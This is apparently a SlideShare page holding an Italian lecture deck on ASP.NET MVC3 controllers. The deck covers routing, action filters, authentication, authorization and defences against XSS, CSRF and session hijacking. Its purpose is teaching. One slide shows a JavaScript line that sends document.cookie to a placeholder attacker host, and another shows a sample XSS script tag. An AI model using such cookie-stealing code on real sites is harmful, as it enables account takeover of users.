SlideShare a Scribd company logo
Sviluppo applicazioni web e linguaggio HTML

                               LEZIONE 07




ASP.NET
Model View Controller
Processa le richieste
degli utenti compilando
il modello e scegliendo
la view da renderizzare




    Model
Come fanno le richieste
ad arrivare al Controller?
Attraverso la definizione
di regole
di Routing
Una regola di routing
traduce l’indirizzo di una
richiesta in una
serie di parametri
Una regola di routing
traduce l’indirizzo di una
richiesta in una
serie di parametri
Tra questi parametri
devono sempre esserci
controller e action
… e poi?
… e poi tocca a noi
1   routes.MapRoute (
       "PostByDate",
       "date/{year}/{month}",
       new { controller = "Post",
             action = "ByDate",
             year = DateTime.Now.Year,
             month = DateTime.Now.Month
            }
    );
… e poi tocca a noi
2   public ActionResult ByDate(int year, int month)
    {
      IList<Post> posts = new List<Post>();
      using (var db = new BlogContext())
      {
        posts = (from p in db.Posts
                 where p.PublishedDate.Year == year
                 && p.PublishedDate.Month == month
                 select p).ToList();
      }
      return View("List", posts);
    }
This slide is intentionally blank
Una delle caratteristiche
del pattern MVC è la
Separation of Concerns
… ma ci sono degli aspetti
dell’applicazione che sono
“trasversali”
Il risultato è spesso una
duplicazione di codice
In questi casi possiamo
utilizzare gli ActionFilter
Attributi che decorano le
action del controller che
vogliamo intercettare
ASP.NET MVC3 - Tutti i compiti del Controller
Scriviamo un filtro per
salvare le statistiche sul
numero di pagine visitate
ASP.NET MVC3 - Tutti i compiti del Controller
Se il filtro deve essere
applicato a tutte le action
posso aggiungerlo alla
lista dei GlobalFilters nel
file global.asax
This slide is intentionally blank
ASP.NET MVC3 - Tutti i compiti del Controller
La sicurezza di una
applicazione viene garantita
tra le altre cose da …
1   Riconoscimento
    dell’utente collegato
1   Riconoscimento
    dell’utente collegato

2   Verifica dell’autorizzazione
    a procedere
1   Riconoscimento
    dell’utente collegato

2   Verifica dell’autorizzazione
    a procedere

3   Protezione dalle minacce
    facilitate dalle vulnerabilità
1 Riconoscimento
  dell’utente collegato
Per identificare un utente
utilizziamo l’autenticazione
tramite form
Per specificare che una
action richiede il
riconoscimento dell’utente
usiamo il filtro
AuthorizeAttribute
Il filtro controlla nell’HttpContext
se l’utente è autenticato, se non
è così visualizza la pagina di
login specificata nel web.config
A questo punto l’utente ci
fornisce le sue credenziali …
                      Utilizza il membership
                      provider integrato(ovvero
                      gli utenti sono salvati nel
                      database ASPNETDB.mdf)
Normalmente però le
credenziali dobbiamo
verificarle noi, dall’elenco
degli utenti della nostra
applicazione
Verifica dell’autorizzazione a
Dependency
 procedere
Injection
Anche se l’utente è
conosciuto non è detto che
abbia i permessi per
svolgere una determinata
operazione
L’accesso può essere
regolato per utente e/o per
ruolo, generalmente però i
permessi sono specifici
dell’applicazione
Ad esempio un autore non
può modificare i post di un
altro autore
3  Protezione dalle minacce
facilitate dalle vulnerabilità
Quali vulnerabilità,
quali minacce?
ASP.NET MVC3 - Tutti i compiti del Controller
Cross Site Scripting
Permette ad un hacker di inserire
codice al fine di modificare il
contenuto della pagina web
visitata.
Cross Site Scripting
Permette ad un hacker di inserire
codice al fine di modificare il
contenuto della pagina web
visitata. In questo modo è possibile
sottrarre dati sensibili presenti nel
browser degli utenti che visiteranno
successivamente quella pagina.

                            Fonte: Wikipedia
Come può accadere?
Se permetto agli utenti del mio
sito di inserire contenuti in html …
Come può accadere?
Se permetto agli utenti del mio
sito di inserire contenuti in html,
devo disabilitare il controllo degli
input con [ValidateInput=false]
Come può accadere?
Se permetto agli utenti del mio
sito di inserire contenuti in html,
devo disabilitare il controllo degli
input con [ValidateInput=false]
E se poi qualcuno scrive del
codice javascript?

<script>alert(„XSS‟)</script>
Come difendersi?
Come difendersi?
Encoding quando serve
e validazione degli input
lato server, ovvero pulizia
dai tag indesiderati
ASP.NET MVC3 - Tutti i compiti del Controller
Cross Site Request Forgery
Permette ad un hacker di
sfruttare l‟autenticazione
tramite cookie per effettuare
una richiesta cross-domain a
nome dell‟utente (ovviamente
ignaro di tutto).
Come può accadere?
Accade se visito la pagina nella
quale un hacker ha inserito un link
con i parametri “giusti” (oppure
un codice che esegue un post
automatico) dopo essermi
autenticato sul sito vulnerabile a
tale attacco.
Come difendersi?
Indirizzo dal quale

Come difendersi?     è stata inviata la
                     richiesta



Controllare il referrer della
richiesta oppure utilizzare
un token fornito
dall’Antiforgery Helper
Antiforgery Helper
1   @using(Html.BeginForm()) {
         @Html.AntiForgeryToken()
        <!-- controlli di input -->
    }

2   [HttpPost]
    [ValidateAntiForgeryToken]
    public ActionResult Change(string pwd)
    {
ASP.NET MVC3 - Tutti i compiti del Controller
Session Hijacking
Permette ad un hacker di
sfruttare la vulnerabilità XSS per
“rubare” l‟identità di un utente
data dal suo cookie di
autenticazione.
Come può accadere?
L‟hacker nasconde dietro
l‟indirizzo di una immagine una
chiamata al suo sito passndo
come parametro il valore del
cookie dell‟utente.
img.src = “http://sito.hacker/ruba_identita?cookies=“+
                                 encodeURI(document.cookie);
Come difendersi?
Come difendersi?
Impedire l‟accesso al cookie
tramite script settando a true la
proprietà HttpOnly (disponibile
da IE 6 SP1).
continua?
Credits
Le immagini contenute in questa presentazione
hanno licenza Creative Commons


Slide 4: http://www.flickr.com/photos/telstar/2987850087/in/photostream/
Slide 22: http://www.flickr.com/photos/mbiskoping/4120185389/in/photostream/
Slide 27: http://www.flickr.com/photos/clappstar/131011191/in/photostream/
Slide 33: http://www.flickr.com/photos/24196101@N00/6243028090/
Slide 39-43-47: http://www.flickr.com/photos/35703177@N00/3720913706/
Slide 39: http://www.flickr.com/photos/nizger/5750806378/in/photostream/
Thank You   MANUEL SCAPOLAN
            website: www.manuelscapolan.it
            twitter: manuelscapolan
            e-mail: info@manuelscapolan.it

More Related Content

PDF
ASP.NET MVC 3 - Presentare i dati nella View
PDF
Luca Masini: Introduzione a GWT 2.0
PPT
Java lezione 16
PDF
Introduzione a node.js
PDF
jQuery - 1 | WebMaster & WebDesigner
PDF
Javascript - 4 | WebMaster & WebDesigner
ODP
Rich Ajax Web Interfaces in Jquery
PDF
jQuery - 1 | WebMaster & WebDesigner
ASP.NET MVC 3 - Presentare i dati nella View
Luca Masini: Introduzione a GWT 2.0
Java lezione 16
Introduzione a node.js
jQuery - 1 | WebMaster & WebDesigner
Javascript - 4 | WebMaster & WebDesigner
Rich Ajax Web Interfaces in Jquery
jQuery - 1 | WebMaster & WebDesigner

Viewers also liked (7)

KEY
IDC CS4Real presentation
PPSX
Entity Framework 4.0 vs NHibernate
PDF
ASP.NET MVC Intro
PDF
PDF
C# e la Framework Class Library
PDF
Mobile first strategy, When, why ( and why Not )
PDF
Managed Extensibility Framework (MEF)
IDC CS4Real presentation
Entity Framework 4.0 vs NHibernate
ASP.NET MVC Intro
C# e la Framework Class Library
Mobile first strategy, When, why ( and why Not )
Managed Extensibility Framework (MEF)
Ad

Similar to ASP.NET MVC3 - Tutti i compiti del Controller (20)

ODP
Web Application Insecurity Uncensored
ODP
Web Application Insecurity L D2007
PPTX
ASP.NET MVC 2.0
PPTX
Asp.NET MVC Framework
PDF
Hackers vs. Developers: HTML5 Security by Simone Onofri
PDF
HTML5 Security
PPTX
We Want Web - Web Applications con MVC 3
PPT
What's New in ASP.NET 4.5 and Visual Studio 2012
PDF
ASP.NET Core - dove siamo arrivati
PDF
Smau Bologna | R2B 2019 Luca Bonadimani (AIPSI)
PPTX
Asp.Net MVC 2 :: VS 2010 Community Tour
PPTX
Novità di Asp.Net 4.0
PPTX
ASP.NET MVC
PDF
Hands on MVC - Mastering the Web
PDF
Model View Controller - Semplificare Il Codice E Minimizzare I Tempi
PPTX
MVC2: non solo tecnologia
PDF
Tutte le novità di ASP.NET MVC3
PPTX
Smau Bari 2013 Massimo Chirivì
PPTX
La sicurezza delle Web Application - SMAU Business Bari 2013
PDF
ASP.NET MVC: Full Throttle
Web Application Insecurity Uncensored
Web Application Insecurity L D2007
ASP.NET MVC 2.0
Asp.NET MVC Framework
Hackers vs. Developers: HTML5 Security by Simone Onofri
HTML5 Security
We Want Web - Web Applications con MVC 3
What's New in ASP.NET 4.5 and Visual Studio 2012
ASP.NET Core - dove siamo arrivati
Smau Bologna | R2B 2019 Luca Bonadimani (AIPSI)
Asp.Net MVC 2 :: VS 2010 Community Tour
Novità di Asp.Net 4.0
ASP.NET MVC
Hands on MVC - Mastering the Web
Model View Controller - Semplificare Il Codice E Minimizzare I Tempi
MVC2: non solo tecnologia
Tutte le novità di ASP.NET MVC3
Smau Bari 2013 Massimo Chirivì
La sicurezza delle Web Application - SMAU Business Bari 2013
ASP.NET MVC: Full Throttle
Ad

More from Manuel Scapolan (12)

PDF
TFS and Scrum - Lessons Learned
PDF
Scrum? E' come fare il bucato!
PDF
Domain Driven Design e CQRS
PDF
PDF
Knockout.js
PDF
ASP.NET MVC 3 - Trasportare i dati nel Model
PDF
JavaScript Object Oriented
PDF
JavaScript
PDF
HTML e CSS
PDF
Dai delegati a LINQ con C#
PDF
AntiPatterns: i vizi del programmatore
PDF
OOP with C#
TFS and Scrum - Lessons Learned
Scrum? E' come fare il bucato!
Domain Driven Design e CQRS
Knockout.js
ASP.NET MVC 3 - Trasportare i dati nel Model
JavaScript Object Oriented
JavaScript
HTML e CSS
Dai delegati a LINQ con C#
AntiPatterns: i vizi del programmatore
OOP with C#

ASP.NET MVC3 - Tutti i compiti del Controller

  • 1. Sviluppo applicazioni web e linguaggio HTML LEZIONE 07 ASP.NET Model View Controller
  • 2. Processa le richieste degli utenti compilando il modello e scegliendo la view da renderizzare Model
  • 3. Come fanno le richieste ad arrivare al Controller?
  • 4. Attraverso la definizione di regole di Routing
  • 5. Una regola di routing traduce l’indirizzo di una richiesta in una serie di parametri
  • 6. Una regola di routing traduce l’indirizzo di una richiesta in una serie di parametri
  • 7. Tra questi parametri devono sempre esserci controller e action
  • 9. … e poi tocca a noi 1 routes.MapRoute ( "PostByDate", "date/{year}/{month}", new { controller = "Post", action = "ByDate", year = DateTime.Now.Year, month = DateTime.Now.Month } );
  • 10. … e poi tocca a noi 2 public ActionResult ByDate(int year, int month) { IList<Post> posts = new List<Post>(); using (var db = new BlogContext()) { posts = (from p in db.Posts where p.PublishedDate.Year == year && p.PublishedDate.Month == month select p).ToList(); } return View("List", posts); }
  • 11. This slide is intentionally blank
  • 12. Una delle caratteristiche del pattern MVC è la Separation of Concerns
  • 13. … ma ci sono degli aspetti dell’applicazione che sono “trasversali”
  • 14. Il risultato è spesso una duplicazione di codice
  • 15. In questi casi possiamo utilizzare gli ActionFilter
  • 16. Attributi che decorano le action del controller che vogliamo intercettare
  • 18. Scriviamo un filtro per salvare le statistiche sul numero di pagine visitate
  • 20. Se il filtro deve essere applicato a tutte le action posso aggiungerlo alla lista dei GlobalFilters nel file global.asax
  • 21. This slide is intentionally blank
  • 23. La sicurezza di una applicazione viene garantita tra le altre cose da …
  • 24. 1 Riconoscimento dell’utente collegato
  • 25. 1 Riconoscimento dell’utente collegato 2 Verifica dell’autorizzazione a procedere
  • 26. 1 Riconoscimento dell’utente collegato 2 Verifica dell’autorizzazione a procedere 3 Protezione dalle minacce facilitate dalle vulnerabilità
  • 27. 1 Riconoscimento dell’utente collegato
  • 28. Per identificare un utente utilizziamo l’autenticazione tramite form
  • 29. Per specificare che una action richiede il riconoscimento dell’utente usiamo il filtro AuthorizeAttribute
  • 30. Il filtro controlla nell’HttpContext se l’utente è autenticato, se non è così visualizza la pagina di login specificata nel web.config
  • 31. A questo punto l’utente ci fornisce le sue credenziali … Utilizza il membership provider integrato(ovvero gli utenti sono salvati nel database ASPNETDB.mdf)
  • 32. Normalmente però le credenziali dobbiamo verificarle noi, dall’elenco degli utenti della nostra applicazione
  • 34. Anche se l’utente è conosciuto non è detto che abbia i permessi per svolgere una determinata operazione
  • 35. L’accesso può essere regolato per utente e/o per ruolo, generalmente però i permessi sono specifici dell’applicazione
  • 36. Ad esempio un autore non può modificare i post di un altro autore
  • 37. 3 Protezione dalle minacce facilitate dalle vulnerabilità
  • 40. Cross Site Scripting Permette ad un hacker di inserire codice al fine di modificare il contenuto della pagina web visitata.
  • 41. Cross Site Scripting Permette ad un hacker di inserire codice al fine di modificare il contenuto della pagina web visitata. In questo modo è possibile sottrarre dati sensibili presenti nel browser degli utenti che visiteranno successivamente quella pagina. Fonte: Wikipedia
  • 42. Come può accadere? Se permetto agli utenti del mio sito di inserire contenuti in html …
  • 43. Come può accadere? Se permetto agli utenti del mio sito di inserire contenuti in html, devo disabilitare il controllo degli input con [ValidateInput=false]
  • 44. Come può accadere? Se permetto agli utenti del mio sito di inserire contenuti in html, devo disabilitare il controllo degli input con [ValidateInput=false] E se poi qualcuno scrive del codice javascript? <script>alert(„XSS‟)</script>
  • 46. Come difendersi? Encoding quando serve e validazione degli input lato server, ovvero pulizia dai tag indesiderati
  • 48. Cross Site Request Forgery Permette ad un hacker di sfruttare l‟autenticazione tramite cookie per effettuare una richiesta cross-domain a nome dell‟utente (ovviamente ignaro di tutto).
  • 49. Come può accadere? Accade se visito la pagina nella quale un hacker ha inserito un link con i parametri “giusti” (oppure un codice che esegue un post automatico) dopo essermi autenticato sul sito vulnerabile a tale attacco.
  • 51. Indirizzo dal quale Come difendersi? è stata inviata la richiesta Controllare il referrer della richiesta oppure utilizzare un token fornito dall’Antiforgery Helper
  • 52. Antiforgery Helper 1 @using(Html.BeginForm()) { @Html.AntiForgeryToken() <!-- controlli di input --> } 2 [HttpPost] [ValidateAntiForgeryToken] public ActionResult Change(string pwd) {
  • 54. Session Hijacking Permette ad un hacker di sfruttare la vulnerabilità XSS per “rubare” l‟identità di un utente data dal suo cookie di autenticazione.
  • 55. Come può accadere? L‟hacker nasconde dietro l‟indirizzo di una immagine una chiamata al suo sito passndo come parametro il valore del cookie dell‟utente. img.src = “http://sito.hacker/ruba_identita?cookies=“+ encodeURI(document.cookie);
  • 57. Come difendersi? Impedire l‟accesso al cookie tramite script settando a true la proprietà HttpOnly (disponibile da IE 6 SP1).
  • 59. Credits Le immagini contenute in questa presentazione hanno licenza Creative Commons Slide 4: http://www.flickr.com/photos/telstar/2987850087/in/photostream/ Slide 22: http://www.flickr.com/photos/mbiskoping/4120185389/in/photostream/ Slide 27: http://www.flickr.com/photos/clappstar/131011191/in/photostream/ Slide 33: http://www.flickr.com/photos/24196101@N00/6243028090/ Slide 39-43-47: http://www.flickr.com/photos/35703177@N00/3720913706/ Slide 39: http://www.flickr.com/photos/nizger/5750806378/in/photostream/
  • 60. Thank You MANUEL SCAPOLAN website: www.manuelscapolan.it twitter: manuelscapolan e-mail: info@manuelscapolan.it